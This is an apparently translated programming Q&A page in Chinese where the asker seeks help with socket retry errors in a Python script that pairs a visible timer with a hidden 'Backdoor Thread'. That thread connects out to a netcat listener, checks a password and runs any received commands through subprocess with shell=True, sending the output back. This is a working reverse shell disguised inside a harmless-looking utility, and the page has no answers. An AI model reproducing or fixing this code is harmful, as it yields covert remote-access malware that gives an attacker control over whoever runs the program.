套接字连接失败时如何捕获异常

时间:2019-04-07 09:34:11

标签: python sockets

当我在开始编写脚本之前开始使用netcat进行监听时,我尝试制作一个带有后门的计时器,并且它可以正常工作。 ('nc -l 1234')如果我可以启动脚本并让后门线程尝试连接直到最终连接就好了。(在启动脚本后使用netcat)但是我总是会收到拒绝连接错误和'OSError: [Errno 22]无效的参数'

我曾经尝试过创建一个自己的函数来连接并从踏步调用的一个函数中调用这两个函数,但这没用。

进口:

import socket
import subprocess
import threading
import time

声明变量和套接字:

port = 1234
passw = 'Password'
host = '192.168.10.128'
connectedToSlave = False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

您想知道的计时器:

def clock():
    startTimerOrQuit = input("Press enter to start the timer. Send 'q' to exit. > ")
    if(startTimerOrQuit == 'q'):
        exit(0)
    start = time.time()
    input("Press enter to stop the timer. > ")
    with print_lock:
        print("It took {} seconds.".format(time.time()-start))
    clock()

这是我的登录函数。这是问题所在:

def login():
    while True:
        try:
            s.connect((host, port))
            break
        except ConnectionRefusedError as e:
            with print_lock:
                print("ERRRRRRRRRRRRRRRR > ", e, '\n')
                continue
    with print_lock:
        print("While done")
    s.send("Login > ".encode('utf-8'))
    usrPassw = s.recv(1024)

    if(usrPassw.decode('utf-8').strip() == passw):
        s.send("Successfully Connected!\n".encode('utf-8'))
        s.send("> ".encode('utf-8'))
        revShell()
    else:
        s.send("Wrong Password!\n".encode('utf-8'))
        login()

我的reverseShell函数。效果很好,但是如果您想查看:

def revShell():
    global s
    while True:
        inData = s.recv(1024)

        if(inData.decode('utf-8').strip() == 'logout'):
            break

        sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
        output = sp.stdout.read() + sp.stderr.read()
        s.send(output)
        s.send('> '.encode('utf-8'))

启动线程:

tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()

我希望它正常运行计时器并尝试连接到netcat侦听器,如果失败,请再次尝试for ex。延迟10秒。但是我得到Errno [61] ConnectionRefused和OSError Errno [22]无效的参数。

0 个答案:

没有答案